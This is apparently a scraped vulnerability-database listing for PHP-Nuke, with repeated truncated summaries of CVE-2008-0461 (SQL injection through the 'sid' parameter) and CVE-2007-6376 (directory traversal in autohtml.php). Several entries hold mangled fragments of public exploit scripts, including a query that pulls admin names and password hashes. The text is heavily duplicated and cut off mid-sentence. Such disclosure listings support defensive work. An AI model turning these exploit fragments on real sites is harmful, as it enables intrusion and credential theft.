CVE-2008-0461

SQL injection vulnerability in index.php in the Search module in PHP-Nuke 8.0 FINAL and earlier, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the sid parameter in a comments action to modules.php. NOTE: some of these details are obtained from thir...

CVE-2008-0461

SQL injection vulnerability in index.php in the Search module in PHP-Nuke 8.0 FINAL and earlier, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the sid parameter in a comments action to modules.php. NOTE: some of these details are obtained from thir...

CVE-2008-0461

CVE-2008-0461 concerns a SQL injection in PHP-Nuke’s Search module. The vulnerability resides in index.php for PHP-Nuke 8.0 FINAL and earlier when magic_quotes_gpc is disabled. An attacker can craft requests exploiting the sid parameter in a “comments” action to modules.php to execute arbitrary S...

CVE-2008-0461: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in index.php in the Search module in PHP-Nuke 8.0 FINAL and earlier, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the sid parameter in a comments action to modules.php. NOTE: some of these details are obtained from thir...

phpnuke80final-sql.txt

?php UNPUBLISHED RST/GHC EXPLOIT PHP Nuke sid sql injection exploit for Search module POST method - the best for version 8.0 FINAL coded by Foster & 1dt.w0lf tested on 6.0 , 6.6 , 7.9 , 8.0 FINAL versions if isset$POST'Submit' $result=sendit'CONCAT"::",aid,"::",pwd,"::"'; if...

phpnuke80-sql.txt

version Tested on 7.9 & 6.0 '; if $argc table prefix\n"; print "ex.: " . $argv0 . " phpnuke.org 7\n"; credits; exit; / few definitions / if empty$argv3 $prefix = 'nuke'; define tables prefix else $prefix = $argv3; switch $argv2 case "6": $query...

PHP-Nuke < 8.0 (sid) Remote SQL Injection Exploit

No description provided by source. ?php errorreporting EERROR; iniset"maxexecutiontime",0; echo ' +=========================================+ | RST/GHC unpublished PHP Nuke exploit 8 | +=========================================+ + version 8.0 + Tested on 7.9 & 6.0 '; if $argc 2 print "Usage: "...

PHP-Nuke <= 8.0 Final (sid) Remote SQL Injection Exploit

No description provided by source. ?php UNPUBLISHED RST/GHC EXPLOIT PHP Nuke sid sql injection exploit for Search module POST method - the best for version 8.0 FINAL coded by Foster & 1dt.w0lf tested on 6.0 , 6.6 , 7.9 , 8.0 FINAL versions if isset$POST'Submit'...

PHP-Nuke <= 8.0 Final (sid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== PHP-Nuke = 8.0 Final sid Remote SQL Injection Exploit ======================================================== ?php UNPUBLISHED RST/GHC EXPLOIT PHP Nuke sid sql injection exploit for...

PHP-Nuke < 8.0 (sid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================= PHP-Nuke version Tested on 7.9 & 6.0 '; if $argc table prefix\n"; print "ex.: " . $argv0 . " phpnuke.org 7\n"; credits; exit; / few definitions / if empty$argv3 $prefix = 'nuke'; define...

PHP-Nuke 8.0 - sid SQL Injection

PHP-Nuke 8.0 - sid SQL Injection version Tested on 7.9 & 6.0 '; if $argc table prefix\n"; print "ex.: " . $argv0 . " phpnuke.org 7\n"; credits; exit; / few definitions / if empty$argv3 $prefix = 'nuke'; define tables prefix else $prefix = $argv3; switch $argv2 case "6": $query...

PHP-Nuke 8.0 Final - sid SQL Injection

PHP-Nuke 8.0 Final - sid SQL Injection ?php UNPUBLISHED RST/GHC EXPLOIT PHP Nuke sid sql injection exploit for Search module POST method - the best for version 8.0 FINAL coded by Foster & 1dt.w0lf tested on 6.0 , 6.6 , 7.9 , 8.0 FINAL versions if isset$POST'Submit'...

PHP-Nuke 8.0 Final - 'sid' SQL Injection

?php UNPUBLISHED RST/GHC EXPLOIT PHP Nuke sid sql injection exploit for Search module POST method - the best for version 8.0 FINAL coded by Foster & 1dt.w0lf tested on 6.0 , 6.6 , 7.9 , 8.0 FINAL versions if isset$POST'Submit' $result=sendit'CONCAT"::",aid,"::",pwd,"::"'; if...

PHP-Nuke < 8.0 - 'sid' SQL Injection

version Tested on 7.9 & 6.0 '; if $argc table prefix\n"; print "ex.: " . $argv0 . " phpnuke.org 7\n"; credits; exit; / few definitions / if empty$argv3 $prefix = 'nuke'; define tables prefix else $prefix = $argv3; switch $argv2 case "6": $query...

Directory traversal

Directory traversal vulnerability in autohtml.php in Francisco Burzi PHP-Nuke 8.0 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the filename parameter, a different vector than CVE-2006-4190. NOTE: the provenance of this information is unknown; the detail...

CVE-2007-6376

Directory traversal vulnerability in autohtml.php in Francisco Burzi PHP-Nuke 8.0 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the filename parameter, a different vector than CVE-2006-4190. NOTE: the provenance of this information is unknown; the detail...

CVE-2007-6376

Directory traversal vulnerability in autohtml.php in Francisco Burzi PHP-Nuke 8.0 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the filename parameter, a different vector than CVE-2006-4190. NOTE: the provenance of this information is unknown; the detail...

CVE-2007-6376

CVE-2007-6376 describes a directory traversal vulnerability in the PHP-Nuke 8.0 AutoHTML module (autohtml.php). The root cause is that the filename parameter can be manipulated with a …/ path, enabling local file inclusion and arbitrary code execution on the server. The vulnerability affects PHP-...

CVE-2007-6376: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in autohtml.php in Francisco Burzi PHP-Nuke 8.0 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the filename parameter, a different vector than CVE-2006-4190. NOTE: the provenance of this information is unknown; the detail...

PHP-Nuke autohtml.php本地文件包含漏洞

PHP-Nuke是一款流行的内容管理程序。 PHP-Nuke包含的autohtml.php脚本不正确处理用户输入，远程攻击者可以利用漏洞以WEB权限查看系统文件内容。 问题是'autohtml.php'脚本对用户提交的'filename'参数缺少过滤，提交包含多个"../"字符的数据作为参数，可绕过WEB ROOT限制，以WEB权限查看系统文件内容。 PHP-Nuke 8.0 目前没有详细解决方案提供： http://www.phpnuke.org/...